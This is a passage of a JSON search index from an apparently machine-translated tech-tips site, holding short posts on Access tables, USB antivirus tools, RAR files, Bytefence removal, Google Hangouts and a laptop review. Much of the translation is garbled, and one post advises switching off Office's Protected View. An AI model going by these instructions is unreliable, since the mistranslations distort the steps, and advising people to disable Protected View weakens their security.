them.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F056YnWWfm3qwuMSdZKiqXaK2pL7OpZydZaedxm6wyJ1kmqigobJur8eopqydXZZ6rrXNoqOenF2bvLN506GcZqaVrHqqvMCdZKmqn2Kur7CMppicmp%2BkuG680ahknaGjpbmixdI%3D\n","link":"/post/instead-of-oled-or-micro-led-why-did-apple-choose-a-mini-led-for-the-new-ipad-pro-and-macbook-pro-displays/","section":"post","tags":null,"title":"Instead of OLED or Micro-LED, why did Apple choose a Mini-LED for the new iPad Pro and MacBook Pro displays?"},{"body":"Allen WyAtt\nAfter creating the database, you need to create at least one table. Access uses tables to determine the data structure in the database. Each table contains a collection of related information. Access easily builds tables. It also provides a Table Wizard to help create common table types. Use the Table Wizard to create the first table in the database.\nNote: Make sure you don't confuse the table with a database. In certain software, a database is simply a list of information, like a table in Access. However, a database in Access has more than one table. For more information, see chapter 1\nStart with the Table Wizard\nBefore starting the Table Wizard, make sure the Tables button is selected in the Database window (the screen shown in Figure 1). Then, double click on the Create Table By Using Wizard . Immediately, you will see the Table Wizard dialog box shown in Figure 2. In this dialog box, Access asks you to select the type of table you want to create.\n  Figure 1: Database window\n  Figure 2: Select the type of table to create\nBefore selecting a table type, take a minute to look at the Table Wizard dialog box. This dialog box is similar to other Wizard dialogs: at the top is some help information, in the middle is where the choices are made, and below are the controls. You use these buttons to move from one step to another. The purpose of these buttons is shown in Table 1.\nButtons\nMeaning\nCancel\nStop the Wizard, no operations are performed\nBack\nReturn to the previous step (if any)\nnext\nMove to the next step (if any)\nfinish\nFinish the Wizard; Complete operations with available information\nTable 1: The Wizard control buttons\nNote that at the current window, only one control button is present, others are dimmed. Access executes this existing control button at the current time. Therefore, the Back button is not bright because there is no previous step; Now you are in the first step. The Next and Finish buttons are also not bright because you need to make a few choices before the Wirard process can be done.\nSelect a table type\nAt this particular step of the Table Wizard, Access asks you to determine the type of table you want to create. Notice that there are 2 options: Business and Presonal in the middle part of the left side of the dialog box. The button you select will affect the types of tables listed in the Sample Tables list. In this article, select the Business button. There are many different sample tables listed, you can view them all by using the scroll bar to the right of the Sample Tables . Table 2 describes the different sample tables when selecting the Business button that the Table Wizard will create.\nSample table Meaning\nMailing List\nCreate a simple or complex mailing list\nContacts\nCheck table of sales contact\nCustomers\nBusiness management board.\nEmployees\nStore information about the company's employees, be able to work with Expenses and Time Bill sample tables\nProducts\nDeploy database inventory\nOrders\nTrack product orders\nOrder Details\nTrack order details (individual line items), jobs related to Orders form table.\nSuppliers\nTrack dealers.\nCategories\nBuild a list of categories that you can use with other tables.\nPayments\nPayment records by customers.\nInvoices\nStore information about paid bills.\nInvoice Details\nTrack details of invoices (individual line items), things related to Invoices sample tables.\nProjects\nKeep track of projects you or employees are working on; jobs related to Time Billed sample file\nEvents\nProvide a list of special events, combined with Reservations form table.\nReservations\nManage restrictions for special events; associated with Events pattern table.\nTime Billed\nTrack time spent on projects, combining Projects, Employess, and Expenses sample tables.\nExpenses\nStore an incident about the costs associated with the project, combined with the Projects and Employees sample tables\nDeliveries\nMonitor the distribution of products, which can be combined with Customers, Orders, and Employees sample tables.\nFixed Assets\nExpand the list of properties by your company.\nService Records\nLogs when a service is performed on an asset; can work with Fixed Assets and Employees sample tables.\nTransactions\nStore records of businesses that have performed transactions; can work with Payments template tables.\nTasks\nCheck the list of completed tasks.\nEmployees And Tasks\nEstablish relationships between Employees and Tasks tables\nStudents\nStore information about students (or staff) and their classrooms.\nStudents And Classes\nSet the relationship between Students and Classes table.\nTable 2: Business tables can be created using the Table Wizard\nNote: Sample tables used in the Table Wizard are only sample tables. However, you can modify them a bit while using the Table Wizard. Then change the design of the created table.\nWhen you want to create a database of individual people, just select Personal. To select the templates of this group, click your mouse on the Personal button. Access changes the list of sample tables as shown in Figure 3.\n  Figure 3: Table Wizard after displaying Personal database templates.\nUsing the scroll bar you will see that the Table Wizard can be created from many different tables. Some lists in the table (Table 3)\nTable example Meaning\nAddresses\nCreate a mailing list for everyone\nGuests\nCheck out invited guests to a social event\nCategories\nBuild a list that you use with other tables.\nHousehold Inventory\nKeep a record for insurance purposes.\nRecipes\nManage favorite dishes, sauces and recipes made.\nPlants\nMonitor the process of planting trees in greenhouses or in the garden.\nExercise Log\nSave the completed and unfinished exercises.\nDiet Log\nKeep track of your diet on a daily basis.\nWine List\nKeep track of your favorite wines and wine grapes.\nRolls of Film\nSave the movies you take, you can use it with a sample Photographs.\nPhotographs\nStore a copy of the photos; You can use the Rolls of Film template.\nAuthors\nList your favorite authors, which can be used with the Book collection sample table.\nBooks\nCheck the types of books in the personal library, which can be used with the Authors sample table.\nGroups\nList groups of photos and any information you have about them.\nService Records\nLogs when a service is made about a property; With some change, this table can work with the Household Inventory table.\nRecording Artists\nList your favorite artists, which can be used with the Recordings table.\nRecordings\nRecord music tracks; can be used with Artists panel.\nVideo Collection\nSet of tapes and laser discs.\nAccounts\nManaging investment accounts; combined with Investments table.\nInvestments\nTrack individual investments; is combined with the Accounts table.\nTable 3: Sample tables Personal items are created with the Table Wizard\nVery fast to select different sample tables. When using the mouse to select the names of the sample tables, Access changes the information on the Sample Fields list.\nTo create a table store information about your friends' names, addresses, phone numbers, select Addresses in the Sample Tables list. first in the list). At this point, simply select the fields you want to include in the table. The screen shown in Figure 3.\nSelect the information\nIn a table, you will specify fields, or pieces of information to track. In the middle column, label Sample Fields, which defines the fields to include in the table. In chapter 1, fields are defined as the type of information that holds records in the table. Therefore, at the Addresses option, you specify the fields to store information for each person. Table 3 shows the fields from your choice.\nSchools Meaning\nAddressID\nA fixed ID number for the address.\nFirstName\nYour name\nLastName\nYour surname\nSpouseName\nName of spouse.\nChildrenNames\nName of children.\nAddress\nThe address of the neighborhood is staying.\nCity\nCity address.\nStateOrProvince\nState or province\nPostalCode\nZIP code\nCountry\nCountry name\nEmailAddress\nEmail address on the Internet, online information service, .\nHomePhone\nHome phone number.\nWorkPhone\nWork phone number.\nWorkExtension\nNumber of extensions in the office\nMobilePhone\nMobile phone number\nFaxNumber\nFax number\nBirthdate\nBirthday\nSendCard\nA notice about whether to send a birthday card to this friend.\nDateLastTalkedTo\nThe most recent day you contact people\nDateUpdated\nDate of the most recent database record change.\nNick name\nNicknames or preferred names.\nNotes\nComments and comments.\nHobbies\nHabits or hobbies\nHealthIssues\nHealth issues\nPhotograph\nA photo of you\nTable 4: Available fields for the Addresses sample table\nTable Wizard provides 25 sample fields for the Addresses table. However, you do not need to use all of these fields. Instead, just get the necessary fields. And remember, just keep the information reasonable.\nTo select a field, highlight the field name and click the button with the icon (\u0026gt;). In turn, the selected fields will move to the third column (Fields In My New Table) in the dialog box. If you want the table to include at least the first name, last name, address, and phone number, check these fields in the Sample Fields list. After each field is selected, click your mouse on the\u0026gt; button. When finished, the dialog box is shown in Figure 4.\n  Figure 4: After defining the fields for the table\nIf something goes wrong, don't worry. You can use the buttons between the second and third columns to bring the fields you don't want in the table back. Table 3 lists the buttons and their purpose.\nKnot Purpose\n\u0026gt;\nInsert a field from the Sample Fields column to the table\n\u0026gt;\u0026gt;\nBring all fields from the Sample Fields column to the table\nMove a field from the Table of Sample Fields tables\nMove all fields from the table to Sample Fields\nTable 5: School selection buttons\nNote: You can move fields in a table by removing and then adding them again. Access adds a selected field to the table immediately below the field marked in column 3.\nInclude any fields that you think are necessary for the table. Make changes until the fields are defined. Before proceeding, make sure you add the AddressID field to the table, which is assigned as the primary key. In the next two sections you will know the importance of adding the AddressID field. When finished, click your mouse on the Next button to move to the next step. Access displays the dialog box shown in Figure 5.\n  Figure 5: The next dialog box in the Table Wizard\nName the table\nYou have nearly completed the table determination. However, Access needs to know a bit of data before it can proceed. At the top of the dialog box, Access will ask you the name of the table. Do not mistake this table name with the name you gave the database when you first created it. Here you are naming the table and the created database can contain multiple tables. To illustrate this example, you accept the default name (Addresses).\nIn this dialog box, you also specify whether you want Access to use a primary key for the table. Key is a field that Access uses to sort tables. Typically, a primary key is unique, meaning that there is only one record with only one primary key, Access will not allow you to add a record if it matches the primary key in another record.\nFor example, if you have 3 friends with the same surname Smith, you cannot use the surname as the primary key. Similarly, if all live in Seattle, you cannot use the city as a primary key. However, they have their own fixed phone numbers so they can use the phone field as the primary key.\nYou can set the primary key in one of two ways. Access establishes a key for you (this is the default), or you specify a key. Follow your selection and then click the Next button.\nLearn about the lock A primary key is defined so that Access arranges information in the table.Although you do not need to define a primary key, Access will perform this function more effectively if you define that primary key.Using a primary key, Access can locate and display the record very quickly.Doing this improvement will be important when you add multiple records to the database.\nAccess allows to identify both unique and non-unique keys.Use a unique key better because it improves search time.However, there may be situations where the only key is not possible.For example, you want to use the city name as a key.Once there are multiple cities with that name, you want to specify that key is not unique\nIn addition, multiple fields can be used to identify the key.However, you cannot use the Table Wizard to do that.Instead, you have to create the table manually.You will learn how to do this in chapter 4, 'Create another database'.\nWhen choosing a school as a primary key, you should choose a field that is almost unique, regardless of whether you allow repeating or not.For example, you do not want to use the FirstName or LastName field as the primary key, which is the field with many repetitions.On the other hand, it is possible to use the HomePhone field because there is less repetition.\nDefine a key\nIf you let Access automatically identify the primary key, you can skip this section and proceed to the next step. If you set the key yourself, the dialog box appears as shown in Figure 6.\n  Figure 6: Set the key for the table\nUsing this dialog box, you can select the field that Access uses as a key. Access suggests a field to use (which is the first field in the table), but another field can be selected by clicking on the arrow pointing down to the right of the field. For this example, make sure the AddressID field is selected.\nNote: If you forget to include the AddressID field in the table, you can use the Back button to return to the field definition dialog (You need to click this button twice). Add that field and use the Next button to return to this dialog box.\nNext, the dialog box asks you to specify how you want Access to determine the key. There are 3 options:\nContinue numbers Microsoft Access assigns automatically to new record s (Microsoft Access automatically assigns sequential numbers for new records). If you select this option, you will not need to enter the sequence number into the primary key; Access will do it for you when you add a record.\n Numbers I enter when I add new records (Numbering when adding a new record) . If you select this item, you can enter the primary key manually. However, the key must still be unique, and it must contain a unique number.\n Numbers and / or letters I enter when I add new records (Enter both numbers and letters when adding new records) . This option is the same as the previous option, except that you can enter both numbers and letters.\n The primary key you choose depends on how you proceed to use it. If you just need to count, select the first item (the key that has the corresponding value of numbers: 1, 2, 3, .). However, if the primary key has another requirement, choose one of the other options. When done, click your mouse on the Next button.\nEnd the table\nTo finish creating the table, just answer two questions. Both questions relate to what you want to do when the Table Wizard completes. Dialog box Figure 7.\n  Figure 7: Finish the Table Wizard\nIn this dialog box, you must specify what to do next. Select the following items:\nModify the table design (Modify the table design). Select this item if you want to continue the table design. Enter data directly into the table (Enter data into the table) . Select this option if you want to use the Datasheet view mode to enter information in the table. Hãy nhập dữ liệu vào bảng theo dùng một dạng mẫu tạo tạo cho me (Enter data into the table using a Wizard form) . Select this option if you want the Wizard to create data in the form for the data table. In Chapter 9 'Creating Custom Forms', you will learn how to work with forms. At this time, select the second item (usually the default). If you find it necessary to take steps to master while using Access, you can check the 'Display Help on working with the table' button to display the Help dialog box.\nAs soon as you click your mouse on Finish (The Next button is not bright because there is no next step), the Table Wizard creates the table according to your requirements. You will know that the Wizard is complete when you see the Datasheet view of the table displayed on the screen.\nncG1vNJzZmismaXArq3KnmWcp51kurR5wJyanqujYn9xfJJmo56ro6S7boKMnKmemaSeu6h5wGarmpqcmnqquoyampydo6g%3D\n","link":"/post/ms-access-2003-lesson-6-creating-a-table-in-access/","section":"post","tags":null,"title":"MS Access 2003 - Lesson 6: Creating a table in Access"},{"body":"USB is a commonly used data storage medium. However, USB drives are sometimes a source of virus spread from computer to computer and we must know how to protect USB to prevent the spread of viruses on USB.\n  1. USB Disk Security   USB Disk Security is a software that protects USB from threats such as virus autorun, malware. With the main feature is USB protection such as automatically scanning viruses when connecting USB to a computer, protecting data on USB by preventing unauthorized copying of data, safe isolation . With a small capacity of the same With strong USB protection, USB Disk Security software deserves to be an indispensable choice in your computer.\nYou can download USB Disk Security: http://www.zbshareware.com/lang/en/download.html\n2. USB Drive Antivirus   Speaking of USB protection software, it is impossible not to mention the name USB Drive Antivirus . Software can help us protect USB against viruses such as Autorun, trojans. In addition, USB Drive Antivirus allows you to repair some system errors or use USB testing tools such as USB Tool, to check the process running with Process Manager.\nLink to download USB Drive Antivirus software: https://www.usbantivirus.net/download.html\n3. USB Guardian   USB Guardian automatically protects usb when we connect to a computer. USB Guardian can identify and prevent viruses such as autorun, trojan horse, malware . In addition, the software also allows us to perform USB freezing, not allowing viruses to spread to USB or blocking copying data from the left. permission from USB.\nYou can download USB Guardian here: http://www.usb-guardian.com/\n4. Autorun Eater   Autorun Eater software helps us scan and find threats via USB like Autorun virus when the USB is connected to your PC. The software automatically runs in the background and checks and destroys the Autorun virus to harm our computers when we use USB to copy data. This software is quite compact and can work smoothly on low-profile computers.\nLink to download Autorun Eater software: https://www.softpedia.com/get/Security/Secure-cleaning/Autorun-Eater.shtml#download\n5. USBFix   USBFix is a small utility that helps us scan and remove viruses spread through USB. In addition, the software also allows us to check storage devices connected via USB such as phones, tablets, memory cards .\nYou can download USBFix at the following link: https://www.usb-antivirus.com/\nWith Top 5 USB protection software today, hopefully the article gives readers useful knowledge to help us protect USB from virus intrusion and data destruction. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqXq2v8Fmp6unpJqwtbXOp2Ssp5apxKK%2BxGarqJyRrnpzfJFp\n","link":"/post/top-5-best-usb-protection-software-today-2020/","section":"post","tags":null,"title":"Top 5 best USB protection software today 2020"},{"body":"It's annoying when we start Word and Excel files that show Protected View and we can't edit that file without clicking Enable Editing. In this article, the Software Tips will show you how to turn off the Protected View feature in Word and Excel.\n  1. Turn off the Protected View feature in Word Step 1: You proceed to select File to open more options.\n  Step 2: After that, select Options to view the settings on Word.\n  Step 3: Next, select Trust Centrer and select Trust Center Settings .\n  Step 4: Finally, select the Protected View tab and uncheck the following 3 lines:\nEnable Protected View for files originating from the internet Enable Protected View for files located in protentially unsafe locations Enable Protected View for Outlook attachments Then, click OK to save your settings. From now on, when you Word files will not see the Protected View message anymore.\n  2. Turn off the Protected View feature in Excel Step 1: You proceed to select File to open more options.\n  Step 2: Then, you select Options to view the settings on Excel.\n  Step 3: Next, select Trust Centrer and select Trust Center Settings .\n  Step 4: Finally, select the Protected View tab and uncheck the following 3 lines:\nEnable Protected View for files originating from the internet Enable Protected View for files located in protentially unsafe locations Enable Protected View for Outlook attachments Then, click OK to save your settings. From now on, when you Word files will not see the Protected View message anymore.\n  In this article, Software Tips showed you how to turn off Protected View when opening files in Word and Excel. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwba%2BzWamn55dqbWmec%2Brpq2dk6mypXnVopywZZaarrXB0Z5ksKCVo3qwvMSnoKefXay8s7CMqKlmnaiYsq15w6iarqWVo8G0\n","link":"/post/turn-off-the-protected-view-feature-when-opening-word-or-excel-documents/","section":"post","tags":null,"title":"Turn off the Protected View feature when opening Word or Excel documents"},{"body":"During the process of downloading and installing a certain software, you suddenly discovered that there was an additional software installed called Bytefence anti-malware. Now you try to remove it by going to the control panel to find but not working, then use the software to remove the application but do not see it in the application list to remove. By this time many of you have to give up, do not worry in this article TipsMake.com will answer for you what Bytefence anti-malware is and how to remove Bytefence anti-malware thoroughly 100%. Please refer!\n  1. What is Bytefence anti-malware? Bytefence anti-malware is \u0026nbsp;not a virus even it is an anti-malware program developed by Byte Technologies. The main executable file of this software is called bytefence.exe which runs safely in the 'C: Program Files' subdirectory when installing the program.\u0026nbsp;\nHowever, what is notorious for this software is its distribution to its users. This software often installs automatically with other software without consulting users, which is the first annoyance. Second, when users want to remove it is very difficult and can not be removed in the normal way, this will make users very uncomfortable and will think it is a malware. Because of this distribution, several security vendors (Malwarebytes, eGambit, ESET-NOD32, etc.) have included Bytefence in their list of 'potentially unwanted programs'.\u0026nbsp;\n2. How to remove Bytefence anti-malware thoroughly. Because we cannot remove this software in the usual way, the most effective and thorough way is to use Malwarebytes software to wipe Bytefence anti-malware\u0026nbsp; from your computer. Malwarebytes is a specialized software to remove malware that is very famous and powerful so you should be assured to use.\nStep 1: You access the link below to download the Malwarebytes application and install it on your computer.\nLink to download from the homepage: https://www.malwarebytes.com/mwb-download/thankyou/\nAfter downloading, proceed to install the software by double clicking on the downloaded file, the installation window will appear, click Agree and Install , the software will be automatically installed.\n  Step 2: After the installation is complete, open the software, right at the main screen, click the Scan Now button to let the software scan for malware in the computer.\n  We wait for a while for the scan to take place, please be patient:\n  Step 3 : After the scan is complete, the software will show us all the malicious files in the computer. If you notice in the list of files there will be files called Bytefence, which is the Bytefence anti-malware software.\nSelect all the files in the list and click the Quarantine Selected button to delete these files from the computer.\n  After the files are cleaned up a message will appear asking if you want to restart the computer or not. It is best to restart the computer for the settings to be made and the computer will run stable again.\n  After cleaning, you will definitely not see Bytefence anti-malware software on your computer anymore. Also you can open the software and select the item Quarantine, then delete all the redundant Registry files to make the computer cleaner.\n  So with just a few simple steps, we can remove Bytemalware anti-virus software extremely annoying in your computer. Hope you will succeed!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWSrsGmssSnmp5lkaPBqrnApa6aqpVitbDDjK2mZpufor2tsdOeo7Jlopq6sMLEZpmyrJWbsq%2BvxGaYp6yZoq6tw8CrnGaeoqS6bsDHnmScp52lwrWx0Q%3D%3D\n","link":"/post/what-is-bytefence-anti-malware-how-to-completely-remove-bytefence-anti-malware-from-the-computer/","section":"post","tags":null,"title":"What is Bytefence anti-malware? How to completely remove Bytefence anti-malware from the computer"},{"body":"The RAR file (short for Roshal Archive Compressed) is a compressed file or data warehouse that contains one or more other files and folders inside. Imagine a RAR file as a folder on your computer that has files and other folders inside it. However, unlike a regular directory, a RAR file needs special software to open and extract content.\nWhat are the RAR files used for? You will only run RAR files when downloading computer software. File-sharing sites and software distributors sometimes compress their files into RAR files that can compress it to smaller sizes and allow for faster downloads.\nIn addition to saving download time, RAR files can also be password protected and encrypted so that others cannot see the content unless you know the password. Most RAR files without passwords are used to store images, documents, videos or other files.\n  RAR file is useful in case you have many photos you want to share with everyone. Instead of letting users download each image one by one, you can compress them into RAR files and then share and download quickly. After extracting data inside the RAR file, you can use it as other files in your computer.\nHow to open RAR file Windows computers are unable to open RAR files. If you double-click the RAR file without installing specific software to open it, the user will see the message: \" Windows cannot open this file '( Windows cannot open this file) or \" How do you want to open this type of file (.rar)? \" (How do you want to open this type of file?).\nRAR is the original format of a storage program called WinRAR. The only problem when using WinRAR is that it is not free. However, before you intend to spend money using WinRAR software, you should know that there are many free compression formats that can do the same but at the same cost as 7-Zip.\nNote: Some RAR files are multi-part files and are named 123.part1.rar, 123.part2.rar, etc. These RAR files must also be opened with a special program.\nHow to open RAR file with 7-Zip Download 7-Zip and install it. After installation, users should set up to automatically associate with RAR files, to simply double-click a RAR file anywhere on the computer, it will automatically open in 7-Zip. To set up this setting, open 7-Zip File Manager. \u0026nbsp; From the Tools menu in 7-Zip, select Options . , and check the box next to rar . then click OK to save the changes.\nYou can also open RAR files with 7-Zip by right-clicking on it and selecting 7-Zip \u0026gt; Open archive from the context menu that pops up.\nNote: If you are processing multiple RAR files, first select all the different parts of the RAR file and then right-click on one of them. From the menu, select 7-Zip \u0026gt; Extract file .\nOther free programs open RAR files 7-Zip is not the only free program that can open RAR files. PeaZip and jZip are two open RAR file openers. Mac users can download and use Keka, The Unarchiver, or Extractor Free RAR to extract RAR files.\nAnother method is to use Unzip-Online, which allows you to open RAR files without installing any software, as it works through a web browser.\nNote: WinZip Free is often recommended as a free RAR file extraction software, but it is actually a trial software. There is no reason to use trial software or buy a RAR extract software while there are many completely free programs mentioned above.\nCrack RAR file is password protected Some RAR files can be password protected. With these RAR files, you need to enter the password before extracting. One problem with password protection RAR files is that you can create your own RAR archive and password security, but in case you forget your password, this is how to crack RAR files.\nAn effective and free program that can break passwords on a RAR file is RAR Password Cracker Expert. It uses attrack Brute Force and / or Dictionary techniques (with the enclosed word list) to crack the password.\nIf the above program cannot open the RAR file, you should try Free RAR Password Recovery. It uses Brute forcce technique to guess passwords and also supports numbers, symbols, uppercase, Latin and distance.\nHow to convert a RAR file RAR file conversion is to convert it to other formats like 7Z, ZIP, LGH, TGZ, TAR, CAB or some other storage format. Note that RAR files cannot be converted to uncompressed formats such as MP3, PDF, etc.\nThe fastest and most effective method to convert RAR files to ZIP format or any other popular storage format is to use a free file conversion tool like Zamzar.com or FileZigZag.com. These two RAR converters are online services, meaning you only need to upload the RAR file to the website and download the conversion file.\nThis free online RAR converter is suitable for small RAR files. If you want to convert a large RAR file, you should use a free tool like IZArc. It's easy to convert RAR files to 7Z, or other archive file formats, from IZArc's Tools menu.\nHow to create RAR file Finding a RAR file creation tool is not as easy as finding a tool to extract it. Because software developers must have permission from Alexander Roshal (copyright owner) to recreate the RAR compression algorithm.\nThe best way to create a RAR file is to use a trial version of WinRAR. It is valid for 30 days. You can compress files in other popular formats like ZIP and 7Z.\nChrome OS is an operating system that supports extracting RAR files, just like Windows supports ZIP decompression. This means that Chrome OS can extract RAR files without third party software.\nSee more:\nWhich file compression format is best? Free online file compression and decompression services Collection of the best file compression and decompression software available today ncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWilr9ussilnA%3D%3D\n","link":"/post/what-is-rar-file/","section":"post","tags":null,"title":"What is RAR file?"},{"body":" If your efforts are still unsuccessful, you may have made 13 mistakes! 21 the biggest regret of each person when looking back on life 7 life lessons that most of us only recognize when it's too late There are things in life that are sometimes too obvious but for some reason we cannot recognize them.The 15 best works of painter Elia Colombo reflect the era in which we live. Join us in reflecting on the real world reflection images today. Not too many words, simple but creative images and meanings have strongly expressed the hidden messages in them. Please watch it!\n\"Kill time\"\n © gebelia\n\"Practice on social networks\"\n © gebelia\n\"Prisoners\"\n © gebelia\n\"Envy from inside\"\n © gebelia\n\"Have a job\"\n © gebelia\n\"Cultural\"\n © gebelia\n\"Who I am?\"\n © gebelia\n\"Saturday night fever\"\n © gebelia\n\"Forced education\"\n © gebelia\n\"Daily dose of nihilism\"\n © gebelia\n\"Identified stolen\"\n © gebelia\n\"Humanity, a degenerative disease\"\n © gebelia\nBetter news\n © gebelia\n\"The power of marketing\"\n © gebelia\n\"Revenge\"\n © gebelia\nSee also: 31 questions that can change your life\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51kfnZ5z6Kara2imsBuu8Vmq6GdXZjCs77Ep6tmr5%2BnuaV5zJqinmWknbJurdSdoJ6mk5p6tMDAq6ulnZRiwbB5z6ilnZ2i\n","link":"/post/15-pictures-of-the-current-world-make-the-audience-startled-to-ponder/","section":"post","tags":null,"title":"15 pictures of the current world make the audience startled to ponder"},{"body":"When done properly, video meetings, especially through Google Hangouts, can bring remote groups together.\nBut when done incorrectly, the Google Hangout can be a huge waste of time, not to mention it is extremely distracting.\nWant to use Google Hangout effectively and successfully without driving people crazy? Here are a few important things to keep in mind.\n1. Plan like any other face-to-face meeting in the office In general, not being in person for a meeting does not mean that you can relax your preparations. After all, you still want your meeting to happen as quickly as possible, right?\nPlease plan everything! If you're the meeting organizer, you can send a brief schedule in advance so everyone knows what to expect and what to prepare. If you are not running the meeting, ask the organizer to send a short email stating the main points of the meeting.\nYou can easily avoid wasting time, by making sure everyone knows what they should be prepared for and ready to join right after signing in.\nA tip is to use the chat feature on the Google Hangout on the right side of the screen to quickly write down a brief schedule that everyone can refer to. This is like a suggestion to make it easier for people to follow and focus.\n Plan like any other in-office meeting 2. Discuss the format of the previous meeting Google Hangouts may be more annoying than face-to-face meetings. When you and a group of people are sitting in a room, you can easily capture body cues to find out who will speak next or what the overall feeling of the meeting is. But when you're sitting in front of a computer screen, you can't see anything else except the people's faces. So things will be a little harder.\nAgain, you can reduce the discomfort during the meeting by letting everyone know in advance the format of the meeting. Let people know in what order they will be asked to present their members so that they are well prepared.\n3. Take advantage of the available features of Google Hangout Many people don't know that some icons can be a lifeline in a meeting, especially if you're trying to make it happen as quickly as possible.\nThe small microphone icon is a mute button. Use it if your surroundings are a bit noisy or if you are typing something while others are talking. It's a great courtesy to others in the Hangout.\n The small microphone icon is a mute button Also, if you are in a meeting where everyone needs to see a document or website at the same time, use the Google Hangout screenshot option.\nGoogle also has a lot of other apps that are specific to Hangouts, so make sure to review and find out what works best for your team. You can find anything you need to make the Hangout run efficiently and bring more fun.\nIn general, Google Hangout meetings can be as effective as live meetings, just need a little practice and a thorough planning in advance. In addition, you can refer to: 6 software for online meeting, best online conferencing.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51kgG7AyKmqZp6fp3q1tMRmmZ6rpGK0sLvGpZxmoJGjtLDB02aknp2knruo\n","link":"/post/3-tips-for-the-best-google-hangout-meeting/","section":"post","tags":null,"title":"3 tips for the best Google Hangout meeting"},{"body":"Windows is the operating system used by many people. However, it's not perfect, one of the biggest drawbacks of the operating system is that you cannot open more than one tab in the file manager - Windows Explorer.\nMac and Linux both support this function. To make it easier to imagine, think about using Tab in a Web browser . Opening a web page in a new Tab helps you manage what is open easily. You can turn on dozens of tabs at once, but you won't want to open dozens of different browser windows, because they're too confusing and difficult to manage.\nFile and folder manager is similar. To ensure quick and easy data management, copying and pasting between folders and drives, Tab for Windows Explorer is essential. Imagine you won't always have to press the Back button in Windows Explorer , or turn on multiple Windows Explorer windows at the same time.\n  While Windows does not yet support this, there is a tool called Clover that helps you create the Tab interface in Windows Explorer . To use Clover you just need to follow these 4 steps:\n1. Download Clover Download Clover for Windows\u0026nbsp;and extract the downloaded file here or here:\n  2. Install Tab interface for Windows Explorer First, double-click Clover_Setup.exe in the extracted folder to install.\nClover is integrated with Windows Explorer . When you open Windows Explorer, the Clover software automatically starts , allowing you to add a tab to the browser at any time.\n  3. Add tabs when opening Windows Explorer After installation, Clover does not require any configuration . To add a tab to Windows Explorer , just click the button to the right of the open window. Just like Chrome and Firefox, the Ctrl + T keyboard shortcuts also allow you to add tabs faster.\nAnd from now on, to copy and paste data from one folder to another, there's no need to open two separate windows or copy and then go back to find the destination folder.Just open two Tabs with Clover and you can easily move back and forth between them.  Although not an official Microsoft product, Clover allows your computer to use more intuitively and multitasking, making it possible to make Windows Explorer on your computer almost as good as Finder for Mac OS X.\nncG1vNJzZmismaXArq3KnmWcp51krqWwjK2Ym2WkpHq4tc2dprCrXZrFsbjOq5yrZZGoeqJ5waumsKuVpw%3D%3D\n","link":"/post/add-tab-to-windows-explorer-as-a-browser/","section":"post","tags":null,"title":"Add Tab to Windows Explorer as a browser"},{"body":"Laptops are getting smaller and Asus has always been at the forefront of that trend. ZenBook 15 is a petite laptop with a 15.6-inch screen. Although small, the Asus Zenbook 15 still contains 8th-generation Intel Whiskey Lake Core i7-8565U CPU and Nvidia GeForce GTX 1650 GPU.\nLet's find out more about this laptop through the following article!\nAppearance Over time, ZenBook has become aesthetically consistent like Lenovo's ThinkPad. ZenBook 15 has Asus' concentric swirl symbol on the lid, blue with gold trim, which is easy to distinguish from previous models.\nZenBook 15 is only 1/10 inch wider than the XPS 15. It is also slightly thicker than the XPS 15. However in terms of weight, ZenBook 15 is lighter than the XPS 15.\nAsus Zenbook 15 has 2 USB-A ports, one Gen 1 (up to 5Gb / s) and one Gen 2 (up to 10Gb / s), a single USB-C Gen 1 port, HDMI port and SD card reader full ruler. However, this laptop doesn't have a Thunderbolt 3 port, which is difficult to accept in a high-end laptop.\nWireless connectivity is also no different than before, still with Gigabit WiFi 2X2 MU-MIMO 802.11ac (without WiFi 6 or 802.11ax) and Bluetooth 5.0.\nPerformance ZenBook 15 is powered by a quad-core Core i7-8565U, which can compete with the six-core Core i7-9750H in the XPS 15.\nLike 13.3-inch and 14-inch models, the ZenBook 15's hinge angle allows for good airflow and a more comfortable experience. The fan is not too noisy and does a good job.\nThe Asus Zenbook 15 completed the Handbrake video transcoding test in about 3 and a half minutes, significantly faster than other 15-watt quad-core laptops.\nZenBook 15 works well compared to other thin and light laptops, but not as fast as the XPS 15. The same is true when it comes to the GPU performance of ZenBook 15.\nIn actual gaming benchmark tests, the ZenBook 15 handled at 89 frames per second (FPS) in Civilization VI, better than the XPS 15's 82 FPS at 1080p. This is very surprising. But in other games, the XPS 15 is faster.\nBattery life In battery tests, ZenBook 15 gave unimpressive results, which lasted for less than 8 hours.\nZenBook 15 with Full HD panel and most high-end laptops last at least 8 hours. And in video testing, ZenBook 15 only lasted less than 11 hours (which is the average for high-end laptops today).\nThere is no 4K screen The Full HD display is the only option that ZenBook Pro comes with and it's also below average. Colors are close to average (72% for Adobe RGB and 93% for sRGB). Color accuracy is good but not too excellent (at 1.68). The brightness is lower than preferred (300 nits), reaching 288 nits and the contrast is below the average of 700: 1 (modern high-end laptops should be around 1000: 1 or better).\nScreenPad 2.0 The ZenBook 15 keyboard, is awesome, with easy-to-read yellow text on a blue background and a lovely backlight with three levels of brightness. Typing is comfortable and feels right.\nAsus Zenbook 15 is equipped with the latest version from Asus ScreenPad technology. Basically, the touchpad is a 5.65-inch touch screen, which can act as a traditional touchpad or provide some application-based functionality.\nAs a touchpad, it feels good with Microsoft's Precision touchpad support. As ScreenPad 2.0, users can access special function keys for Microsoft Office applications, such as using their fingers to write on the screen, turning on the virtual numeric keypad and using ScreenPad as a secondary monitor.\nAdvantages:\nBuilt with excellent quality Comfortable keyboard Solid CPU performance The GPU is surprisingly good Defect:\nBattery life is too short The screen is disappointing No Thunderbolt 3 ncG1vNJzZmismaXArq3KnmWcp51krrTB0maxnqaSpLyseZBuZKWZoKm8sXnRnq2inadisLC5z5qarWWTpLqnu9GtmJuklWK4psXBqJirnA%3D%3D\n","link":"/post/asus-zenbook-15-laptop-review-compact-comfortable-keyboard/","section":"post","tags":null,"title":"Asus Zenbook 15 laptop review: Compact, comfortable keyboard"},{"body":"On Word or on the computer, it is the default directory to save the downloaded file or create a new file. If the user wants to change the storage directory, they must change it every time they save the file. Download the file from the Internet. If you 